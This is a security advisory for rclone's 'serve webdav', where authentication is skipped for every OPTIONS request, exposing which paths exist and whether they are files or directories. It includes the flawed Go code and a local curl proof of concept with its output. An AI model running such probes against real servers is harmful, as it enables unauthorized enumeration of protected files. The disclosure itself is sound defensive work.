All vulnerabilities
GHSA-gj73-fh6v-92fj

github.com/rclone/rclone: `serve webdav` skips authentication for every OPTIONS request

github.com/rclone/rclone
CVSS
5.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in1.75.2Fixed versionGitHub
Published9 Oct 2026Updated 9 Oct 2026GitHub

What fixes it

  • 1.75.2github.com/rclone/rclone, goGitHubgo get github.com/rclone/rclone@v1.75.2

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

Both HTTP auth middlewares in lib/http return early for any OPTIONS request, not just genuine CORS preflights. In rclone serve webdav - the only server that routes OPTIONS to a real handler - this lets an unauthenticated client ask about any path and read the answer from the Allow header, which differs for an existing file, an existing collection and a missing path. --user/--pass, --htpasswd and --auth-proxy are all bypassed for that method.

Details

lib/http/middleware.go, basicAuth() (line 60) and MiddlewareAuthCustom() (line 128) both contain:

// skip auth for CORS preflight
if r.Method == "OPTIONS" {
	next.ServeHTTP(w, r)
	return
}

Neither checks for the headers that actually identify a preflight (Origin plus Access-Control-Request-Method), and neither constrains what the downstream handler may return - so the exemption applies to every OPTIONS request from any client.

cmd/serve/webdav/webdav.go registers its handler for all methods (lines 318, 330-332):

router.Handle("/*", w)                       // chi: every method, OPTIONS included
for _, method := range []string{"COPY", "LOCK", "MKCOL", "MOVE",
	"PROPFIND", "PROPPATCH", "UNLOCK"} {
	chi.RegisterMethod(method)
	router.Method(method, "/*", w)
}

WebDAV.ServeHTTP passes OPTIONS straight to golang.org/x/net/webdav, whose handleOptions stats the requested path and selects the Allow value from the result. The unauthenticated caller therefore learns, for any path they name, whether it exists and whether it is a file or a collection.

The exemption exists so browser CORS preflights (which carry no credentials) succeed. The defect is that it is unconditional rather than limited to actual preflights.

PoC

Verified on a clean checkout of master commit 220fe7619 (git describe: v1.75.0-201-g220fe7619, VERSION = v1.76.0), Linux, go1.26.0. Read-only, local, non-destructive.

1. Build and serve a directory with authentication enabled

git clone https://github.com/rclone/rclone /tmp/rc && cd /tmp/rc
git checkout 220fe7619
go build -o /tmp/rclone .

mkdir -p /tmp/dav/secretdir && echo "top secret" > /tmp/dav/secret.txt
: > /tmp/dav/rclone.conf
/tmp/rclone serve webdav --config /tmp/dav/rclone.conf \
  --addr 127.0.0.1:18081 --user user --pass SuperSecretPassword /tmp/dav &
sleep 2

**2. Unauthenticated requests - no Authorization header at all**

for m in GET PROPFIND; do
  printf '%-9s /secret.txt -> %s\n' "$m" \
    "$(curl -s -o /dev/null -w '%{http_code}' -X $m http://127.0.0.1:18081/secret.txt)"
done
for p in /secret.txt /secretdir/ /does-not-exist; do
  printf 'OPTIONS   %-16s -> HTTP %s  Allow: %s\n' "$p" \
    "$(curl -s -o /dev/null -w '%{http_code}' -X OPTIONS http://127.0.0.1:18081$p)" \
    "$(curl -s -D- -o /dev/null -X OPTIONS http://127.0.0.1:18081$p | tr -d '\r' | awk -F': ' '/^Allow:/{print $2}')"
done

Observed:

GET       /secret.txt -> 401
PROPFIND  /secret.txt -> 401
OPTIONS   /secret.txt      -> HTTP 200  Allow: OPTIONS, LOCK, GET, HEAD, POST, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND, PUT
OPTIONS   /secretdir/      -> HTTP 200  Allow: OPTIONS, LOCK, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND
OPTIONS   /does-not-exist  -> HTTP 200  Allow: OPTIONS, LOCK, PUT, MKCOL

The three Allow values are distinct and identify "existing file", "existing collection" and "does not exist". Every other method is correctly rejected with 401.

3. Sanity check that auth is otherwise working

curl -s -u user:SuperSecretPassword http://127.0.0.1:18081/secret.txt   # -> top secret
kill %1 && rm -rf /tmp/dav /tmp/rclone /tmp/rc

Scope check. rclone serve http was tested the same way and is not affected - it registers only GET/HEAD, so all three probes return an identical 405 Method Not Allowed. serve restic registers only GET/POST/HEAD/DELETE; rcd's handleOptions returns an empty 200. The pprof handlers mounted at router.Handle("/debug/pprof/*", mux) in fs/rc/rcserver are also not reachable this way - chi answers 405 for OPTIONS there even with valid credentials.

Affected-version evidence. The unconditional exemption was introduced in v1.64.0 (commit 88c72d1f4, which moved the OPTIONS short-circuit out of the CORS middleware into both auth middlewares):

for t in $(git tag --sort=v:refname | grep -E '^v1\.(6[3-9]|7[0-9])\.[0-9]+$'); do
  n=$(git show "${t}:lib/http/middleware.go" | grep -c 'if r.Method == "OPTIONS" {')
  printf '%s=%s ' "$t" "$n"; done
# v1.63.0=0 v1.63.1=0 v1.64.0=2 v1.64.1=2 ... v1.74.4=2 v1.75.0=2   (HEAD=2)

Impact

Missing authentication for one HTTP method (CWE-306) yielding an unauthenticated information disclosure (CWE-200) via an observable response discrepancy (CWE-204). Any rclone serve webdav deployment that relies on --user/--pass, --htpasswd or --auth-proxy is impacted: a remote, unauthenticated attacker can probe the whole served remote for the existence and type of arbitrary paths, one request per candidate name. Directory and file names are frequently sensitive on their own and the oracle enables namespace enumeration before further attack. Exposure is metadata only - no file contents, listings or writes are reachable through OPTIONS.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Text from GitHub Advisory Database

Affected versions 1

  • github.com/rclone/rclone, go>= 1.64.0, <= 1.75.1GitHub